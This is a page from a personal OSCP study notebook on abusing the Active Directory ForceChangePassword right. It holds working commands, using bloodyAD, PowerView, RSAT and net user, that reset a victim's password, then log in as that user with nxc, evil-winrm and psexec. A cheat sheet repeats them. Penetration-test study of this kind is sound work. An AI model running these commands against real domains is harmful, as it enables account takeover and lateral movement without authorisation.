Pearson's OSCP Notebook

ForceChangePassword

Properties2
tagsforcechangepassword, force-change-password, ad-permissions, acl-abuse, bloodhound, dacl
aliasesForceChangePassword, User-Force-Change-Password

2 min read

ForceChangePassword — AD Permission Abuse

Ctrl+F: ForceChangePassword · User-Force-Change-Password · set password

ForceChangePassword (User-Force-Change-Password extended right) lets you reset another user’s password without knowing the current one.

Owned User
   │
ForceChangePassword
   ▼
Target User

Your first thought:

“Reset their password → authenticate as them → inherit their access.”

Not the same as NT_STATUS_PASSWORD_MUST_CHANGE — that means your own account must change password before logon → Change password AD - NT_STATUS_PASSWORD_MUST_CHANGE

📌 BloodHound target → action

TargetAction
Privileged user (DA, svc admin)Reset password → shell / DCSync path as that user
Service accountReset → Kerberos / SPN abuse as svc
Any userPassword spray alternative — become user for lateral

📌 Execute — Linux (bloodyAD)

Full command reference → bloodyAD > 📌 4) set — Modify Attributes

bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPassword123!'

Then authenticate:

nxc smb DC_IP -u victim -p 'NewPassword123!'
evil-winrm -i TARGET -u victim -p 'NewPassword123!'
impacket-psexec domain.htb/victim:'NewPassword123!'@TARGET

📌 Execute — Windows (PowerView / RSAT)

→ PowerView > 📌 5) ACL / Permission Abuse · Active Directory Cmdlets > 📌 7) Write / Modify Cmdlets (Needs Privileges)

Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
 
# RSAT alternative
Set-ADAccountPassword -Identity victim -Reset -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
net user victim NewPass123! /domain

📌 Related rights

RightRelationship
AllExtendedRightsSuperset — includes ForceChangePassword + other extended rights
GenericAllFull control — can also reset password (and more)
GenericWriteUsually cannot reset password alone — different path

External: Hacker Recipes — ForceChangePassword

📌 Quick cheat sheet

bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPass123!'
nxc smb DC_IP -u victim -p 'NewPass123!'
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)

Graph View

Backlinks